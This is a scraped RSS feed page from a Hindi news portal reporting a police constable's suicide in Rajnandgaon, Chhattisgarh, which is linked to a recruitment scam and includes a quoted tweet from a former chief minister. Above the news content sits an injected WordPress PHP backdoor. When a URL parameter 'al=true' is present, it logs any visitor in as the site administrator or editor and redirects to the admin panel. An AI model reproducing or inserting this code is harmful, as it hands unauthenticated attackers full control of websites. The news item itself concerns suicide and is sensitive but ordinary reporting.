// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); police suicide – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 22 Dec 2024 13:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-राजनांदगांव में पुलिस आरक्षक ने फांसी लगाकर की आत्महत्या, आरक्षक भर्ती से जुड़ रहे तार https://pratyushaashakinayikiran.com/?p=112651 Sun, 22 Dec 2024 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=112651 राजनांदगांव।

राजनांदगांव में पुलिस आरक्षक ने फांसी लगाकर आत्महत्या कर ली। लालबाग थाना क्षेत्र के तहत रामपुर के पास पुलिस आरक्षक अनिल रत्नाकर ने पेड़ पर फांसी लगाकर आत्महत्या कर ली। आरक्षक का शव पेड़ पर फांसी के फंदे पर लटका हुआ मिला। वहीं घटना की सूचना पाकर मौके पर पहुंची पुलिस मामले की जांच में जुटी है।

एडिशनल एसपी राहुल देव शर्मा ने बताया कि थाना लालबाग को सूचना मिली कि एक आरक्षक जो की जालबांधा चौकी जिला खैरागढ़ छुईखदान गंडई में पदस्थ था जो की आरक्षक भर्ती प्रक्रिया राजनांदगांव में आया हुआ था। इसकी लाश पेड़ में फांसी पर लटकी हुई मिली, आरक्षक का नाम अनिल रत्नाकर है मौके पर एफएसएल की टीम वरिष्ठ अधिकारी डॉग स्क्वायड पहुंच चुके हैं। फिलहाल पूरे मामले की जांच की जा रही है। इस पूरे मामले में मृतक आरक्षक का नाम राजनांदगांव में हुई पुलिस आरक्षक भर्ती गड़बड़ी से जोड़कर देखा जा रहा है, हालांकि इसके आधिकारिक पुष्टि पुलिस ने नहीं की है, पुलिस इस पूरे मामले में बचते हुए नजर आ रही है और कुछ भी कहने से इनकार कर रही है।

पूर्व सीएम ने कही ये बात
वहीं इस मामले को लेकर राज्य के पूर्व सीएम भूपेश बघेल ने कहा कि राजनांदगांव का पुलिस भर्ती घोटाला तो गंभीर मामला दिखता है। आरक्षक अनिल रत्नाकर ने आत्महत्या से पहले अपने हाथ पर जो लिखा है वह इसकी गंभीरता को बताता है। 'कर्मचारियों को फंसाया जा रहा है, अधिकारियों को बचाया जा रहा है। अधिकारी सब इन्वॉल्व हैं' का मतलब साफ़ है @vishnudsai जी।
 
"""राजनांदगांव का पुलिस भर्ती घोटाला तो गंभीर मामला दिखता है।
    आरक्षक अनिल रत्नाकर ने आत्महत्या से पहले अपने हाथ पर जो लिखा है वह इसकी गंभीरता को बताता है।
    'कर्मचारियों को फंसाया जा रहा है, अधिकारियों को बचाया जा रहा है। अधिकारी सब इन्वॉल्व हैं' का मतलब साफ़ है। @vishnudsai जी।… ""
    — Bhupesh Baghel (@bhupeshbaghel) December 21, 2024

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